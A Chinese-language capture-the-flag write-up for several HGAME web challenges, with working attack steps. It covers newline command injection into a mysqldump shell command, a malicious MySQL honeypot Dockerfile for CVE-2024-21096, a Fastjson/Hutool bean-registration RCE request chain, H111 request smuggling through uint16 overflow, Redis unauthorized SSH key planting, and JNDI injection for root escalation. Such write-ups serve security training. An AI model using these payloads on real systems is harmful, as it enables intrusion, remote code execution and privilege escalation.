Level 21096 HoneyPot
看源码首先有一堆 API 接口
- /api/databases:获取数据库列表
- /api/tables:获取某个数据库的表
- /api/data:获取表数据
- /api/database:创建数据库
- /api/search:搜索表数据
- /api/test-connection:测试本地数据库连接
- /api/test-import-connection:测试导入连接
- /api/connect:连接到数据库
- /api/import:导入数据
其中,/import 路由对应的处理函数涉及到执行 mysqldump 和 mysql 命令,将远程数据库的数据导入到本地数据库。可能有命令注入
看一下 ImportData 函数的代码:
func ImportData(c *gin.Context) {
var config ImportConfig
if err := c.ShouldBindJSON(&config); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "Invalid request body: " + err.Error(),
})
return
}
if err := validateImportConfig(config); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "Invalid input: " + err.Error(),
})
return
}
config.RemoteHost = sanitizeInput(config.RemoteHost)
config.RemoteUsername = sanitizeInput(config.RemoteUsername)
config.RemoteDatabase = sanitizeInput(config.RemoteDatabase)
config.LocalDatabase = sanitizeInput(config.LocalDatabase)
if manager.db == nil {
dsn := buildDSN(localConfig)
db, err := sql.Open("mysql", dsn)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to connect to local database: " + err.Error(),
})
return
}
if err := db.Ping(); err != nil {
db.Close()
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to ping local database: " + err.Error(),
})
return
}
manager.db = db
}
if err := createdb(config.LocalDatabase); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to create local database: " + err.Error(),
})
return
}
//Never able to inject shell commands,Hackers can't use this,HaHa
command := fmt.Sprintf("/usr/local/bin/mysqldump -h %s -u %s -p%s %s |/usr/local/bin/mysql -h 127.0.0.1 -u %s -p%s %s",
config.RemoteHost,
config.RemoteUsername,
config.RemotePassword,
config.RemoteDatabase,
localConfig.Username,
localConfig.Password,
config.LocalDatabase,
)
fmt.Println(command)
cmd := exec.Command("sh", "-c", command)
if err := cmd.Run(); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to import data: " + err.Error(),
})
return
}
c.JSON(http.StatusOK, gin.H{
"success": true,
"message": "Data imported successfully",
})
}
这里格式化字符串,参数可控,可以注入命令
接下来看sanitizeInput函数的实现:
func sanitizeInput(input string) string {
reg := regexp.MustCompile(`[;&|><\(\)\{\}\[\]\\` + "`" + `]`)
return reg.ReplaceAllString(input, "")
}
另外还有对一部分字段的过滤
if match, _ := regexp.MatchString(`^[a-zA-Z0-9\.\-]+$`, config.RemoteHost); !match {
return fmt.Errorf("invalid remote host")
}
if match, _ := regexp.MatchString(`^[a-zA-Z0-9_]+$`, config.RemoteUsername); !match {
return fmt.Errorf("invalid remote username")
}
if match, _ := regexp.MatchString(`^[a-zA-Z0-9_]+$`, config.RemoteDatabase); !match {
return fmt.Errorf("invalid remote database name")
}
if match, _ := regexp.MatchString(`^[a-zA-Z0-9_]+$`, config.LocalDatabase); !match {
return fmt.Errorf("invalid local database name")
}
所以需要从 remote_password
或 remote_port
注入。只需插入换行即可。后接注释符注释掉剩下的命令部分(POST /api/import)
{
"remote_host":"localhost",
"remote_port":"3306",
"remote_username":"root",
"remote_password":"\nsleep 50 #",
"remote_database":"test",
"local_database":"test"
}
观察到服务器延迟说明注入成功。执行 /writeflag
{
"remote_host":"localhost",
"remote_port":"3306",
"remote_username":"root",
"remote_password":"\n/writeflag #",
"remote_database":"test",
"local_database":"test"
}
到 /flag
路由即可看到 flag
Level 21096 HoneyPot Revenge
现在五个字段都有过滤了,命令注入肯定是行不通了。应该是要搭建 MySQL 蜜罐
源码中使用了 mysqldump 从远程 MySQL 服务器下载备份,所以要核心思路是使得目标从蜜罐 dump 到注入任意命令执行的 SQL 文件。关于这个搜索到一个 CVE-2024-21096 Atomic Honeypot: A MySQL Honeypot That Drops Shells
为了不影响自己 VPS 上原有的数据库环境,采用 docker 创建容器:
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y \
build-essential cmake bison libncurses5-dev libtirpc-dev libssl-dev pkg-config \
wget systemd
WORKDIR /tmp
RUN wget https://dev.mysql.com/get/Downloads/MySQL-8.0/mysql-boost-8.0.34.tar.gz && \
tar -zxvf mysql-boost-8.0.34.tar.gz
WORKDIR /tmp/mysql-8.0.34
# 版本注入点
RUN sed -i 's/MYSQL_SERVER_VERSION.*/MYSQL_SERVER_VERSION "8.0.0\\\\n\\\\! /writeflag"/' \
include/mysql_version.h.in
RUN mkdir build && cd build && \
cmake .. \
-DDOWNLOAD_BOOST=1 \
-DWITH_BOOST=../boost \
-DCMAKE_INSTALL_PREFIX=/opt/mysql \
-DMYSQL_DATADIR=/opt/mysql/data \
-DSYSCONFDIR=/etc/mysql \
-DWITH_INNOBASE_STORAGE_ENGINE=1 \
-DWITH_SSL=system && \
make -j$(nproc) && \
make install
RUN groupadd mysql && \
useradd -r -g mysql -s /bin/false mysql && \
mkdir -p /opt/mysql/data && \
chown -R mysql:mysql /opt/mysql
COPY init.sh /opt/mysql/init.sh
RUN chmod +x /opt/mysql/init.sh
RUN mkdir -p /etc/mysql
COPY my.cnf /etc/mysql/my.cnf
EXPOSE 3306
CMD ["/opt/mysql/init.sh"]
init.sh
内容:
#!/bin/bash
# 创建基础配置文件(如果不存在)
if [ ! -f /etc/mysql/my.cnf ]; then
echo "[mysqld]" > /etc/mysql/my.cnf
echo "bind-address = 0.0.0.0" >> /etc/mysql/my.cnf
fi
# 初始化数据库
/opt/mysql/bin/mysqld --initialize-insecure --user=mysql --basedir=/opt/mysql --datadir=/opt/mysql/data
# 启动服务(后台运行)
/opt/mysql/bin/mysqld_safe --user=mysql &
# 等待MySQL真正启动
echo "Waiting for MySQL to start..."
while ! /opt/mysql/bin/mysqladmin ping -u root --silent; do
sleep 1
done
# 配置远程访问和认证方式
/opt/mysql/bin/mysql -u root <<-EOF
ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'root';
CREATE USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY 'root';
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' WITH GRANT OPTION;
FLUSH PRIVILEGES;
EOF
# 保持容器运行
tail -f /dev/null
my.cnf 内容:
[mysqld]
bind-address = 0.0.0.0
由于自己电脑或 VPS 编译都会长时间死机不动所以这题并没有做出来
Level 60 SignInJava
目标是要 RCE
APIGatewayController
的 /api/gateway
接口可以通过 InvokeUtils.invokeBeanMethod
动态调用 Spring Bean
的方法
@Controller
@RequestMapping({"/api"})
public class APIGatewayController {
@RequestMapping(value = {"/gateway"}, method = {RequestMethod.POST})
@ResponseBody
public BaseResponse doPost(HttpServletRequest request) throws Exception {
try {
String body = IOUtils.toString(request.getReader());
Map<String, Object> map = (Map<String, Object>)JSON.parseObject(body, Map.class);
String beanName = (String)map.get("beanName");
String methodName = (String)map.get("methodName");
Map<String, Object> params = (Map<String, Object>)map.get("params");
if (StrUtil.containsAnyIgnoreCase(beanName, new CharSequence[] { "flag" }))
return new BaseResponse(403, "flagTestService offline", null);
Object result = InvokeUtils.invokeBeanMethod(beanName, methodName, params);
return new BaseResponse(200, null, result);
} catch (Exception e) {
return new BaseResponse(500, ((Throwable)Objects.<Throwable>requireNonNullElse(e.getCause(), e)).getMessage(), null);
}
}
}
Hutool 工具库有个 SpringUtil.registerBean
方法可以动态注册 Bean
,用它注册一个 cn.hutool.core.util.RuntimeUtil
类,后续可直接调用其execForStr方法执行系统命令:
autoType 是 Fastjson 反序列化机制中的核心功能,允许通过 @type 参数指定目标类名进行对象实例化。当 JSON 字符串包含 @type 字段时,Fastjson 会根据该字段值反射创建对应类的实例
POST /api/gateway HTTP/1.1
Host: node1.hgame.vidar.club:30388
Content-Type: application/json
{
"beanName": "cn.hutool.extra.spring.SpringUtil",
"methodName": "registerBean",
"params": {
"arg0": "rce",
"arg1": {"@type": "cn.hutool.core.util.RuntimeUtil"}
}
}
然后可以调用刚刚注册的 bean 的 execForStr 方法执行任意系统命令
RuntimeUtil.execForStr方法接收两个参数:charset(编码)和commands(命令数组)
POST /api/gateway HTTP/1.1
Host: node1.hgame.vidar.club:30388
Content-Type: application/json
Content-Length: 126
{
"beanName": "rce",
"methodName": "execForStr",
"params": {
"arg0": "utf-8",
"arg1": ["/readflag"]
}
}
Level 111 不存在的车厢
源码有一个后端服务器(8080)和反向代理服务器(8081)。目标是要发送一个 POST 请求到 /flag
接口
本地运行两个程序,浏览器访问 8081 端口有输出,而 8080 端口一直转圈圈,终端输出 fail to read as H111 request; unexpected EOF。所以请求需要先经过代理服务器。代理服务器只允许 GET 方法,它收到客户端的 HTTP 请求会将其转换为 H111 协议发送到后端。这里的 H111 应该是自定义的协议
题目描述有四段,整个程序从用户发送请求到返回请求差不多经过了四层。于是想到请求走私。从源码看 协议的反序列化是基于数据段(如方法长度、URI长度、头部数量)的长度读取,所以考虑利用长度处理上的漏洞走私请求
核心思路在于协议使用 uint16
类型存储数据段长度,当实际长度超过 65535(0xFFFF)时二进制截断导致长度值归零,使得后端解析与代理不一致,从而走私请求
Go 语言明确定义了回绕行为,当计算结果超过上限时,会自动回绕(Wrap Around),即 65535 + 1 = 0;当计算结果低于下限时,也会回绕,0 - 1 = 65535
另外,代理服务器使用了连接池,通过 sync.Pool
实现 TCP 连接复用
// proxyHandler.go
pool = sync.Pool{
New: func() interface{} {
for {
conn, _ := net.Dial("tcp", "127.0.0.1:8080")
return conn // 持续创建新连接
}
},
}
后端服务器通过 for 循环维持连接活性
// main.go (后端)
for {
conn, _ := listener.Accept()
go serverH111(conn) // 每个连接独立协程处理
}
func serverH111(conn net.Conn) {
defer conn.Close()
for { // 保持连接打开状态
req, _ := ReadH111Request(conn)
// 处理请求并响应
}
}
溢出的协议数据会残留在复用连接的缓存区,后端可能会将其解析为第二个独立请求
首先获取 POST /flag 请求的原始字节,在任意一个 main.go 中 main 函数前面部分添加:
var buf bytes.Buffer
err := h111.WriteH111Request(&buf, &http.Request{
Method: "POST",
RequestURI: "/flag",
})
if err != nil {
fmt.Println("ERR")
}
fmt.Println("LEN: ", buf.Len())
fmt.Println("HEX: ", hex.EncodeToString(buf.Bytes()))
// LEN: 17
// HEX: 0004504f535400052f666c616700000000
然后将上述合法请求填充至 65536 字节,使总长度溢出为 0
yakit 中添加 65519 个空字符的写法:
GET / HTTP/1.1
Host: node1.hgame.vidar.club:30593
{{hexdec(0004504f535400052f666c616700000000)}}{{padding:zero(0|65519)}}
发送几次,非法请求有概率被解析
Level 257 日落的紫罗兰
又给了两个容器。浏览器访问 violet-a.service 容器可以看到左上角一闪而过的 SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3。在浏览器中访问两个容器都是连接已重置。附件给了一个用户名列表:admin hgame2025 bobrov ctfer mysid x1aoP en1Oy
使用 nmap 扫描另一个端口
nmap -sV node1.hgame.vidar.club -p 32571
# PORT STATE SERVICE VERSION
# 32571/tcp open redis Redis key-value store
既然是 redis,尝试连接一下
redis-cli -h node1.hgame.vidar.club -p 32571
能连上,存在未授权访问。因为给了 ssh 端口和一些用户名,所以可以尝试写入 ssh 公钥
# 生成 rsa 密钥对,保存位置:./id_rsa
ssh-keygen -t rsa
# Redis 写入 RDB 文件会附带其他内容,可以插入换行防止干扰
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > modified_id_rsa.pub
cat modified_id_rsa.pub | redis-cli -h node1.hgame.vidar.club -p 32571 -x set ssh_key
redis-cli -h node1.hgame.vidar.club -p 32571
> config set dir /home/mysid/.ssh # 修改 Redis 持久化目录(其他用户没有相应的目录)
> config set dbfilename "authorized_keys" # 设置文件名
> save # 保存数据到磁盘
> exit
然后使用刚才生成的 ssh 私钥登录
ssh -i id_rsa [email protected] -p 30618
cat /flag
没有权限,/readflag
提示需要 root 权限
根目录有个 /app/app.jar
,应该有 java 环境,find / -name java
搜索一下 Java 程序找到一个 jdk 目录 /usr/local/openjdk-8
(直接检查常见的第三方软件安装目录 /usr/local
也是能看到的)
查找一下可能有的进程,看看它是否在运行
$ ps aux | grep java
root 9 0.9 0.1 38738616 377024 ? Sl 10:01 0:22 java -jar /app/app.jar
mysid 133 0.0 0.0 3180 660 pts/0 S+ 10:41 0:00 grep java
确实在运行,而且是以 root 权限运行的
先尝试把它下载下来
scp -i id_rsa -P 30618 [email protected]:/app/app.jar /home/koi/Desktop/
然后拖到 jd-gui 看源码
这里有个 /search
接口,调用了 LdapLookupService.search
方法,查询参数 baseDN
和 filter
作为方法参数
点击查看方法实现
这是一个通过 JNDI 查询 LDAP 目录服务的 Spring 服务类,核心逻辑是连接 LDAP 服务器并执行搜索。漏洞点在于直接使用用户可控的 baseDN 和 filter 参数构造 LDAP 查询
jdk8 可以使用工具进行 JNDI 注入:JNDIMap
application.properties
中可以看到 LDAP 端口:ldap.url=ldap://127.0.0.1:389
上传 JNDIMap:
scp -i id_rsa -P 30618 JNDIMap-0.0.1.jar [email protected]:/tmp
启动恶意 LDAP 服务器
# chmod 777 /flag
/usr/local/openjdk-8/bin/java -jar /tmp/JNDIMap-0.0.1.jar -i 127.0.0.1 -l 389 -u "/Deserialize/Jackson/Command/Y2htb2QgNzc3IC9mbGFn"
在另一个终端会话中发送查询请求
# SpringBoot 默认 8080 端口
curl -X POST -d "baseDN=a/b&filter=a" http://127.0.0.1:8080/search
然后就可以 cat /flag
了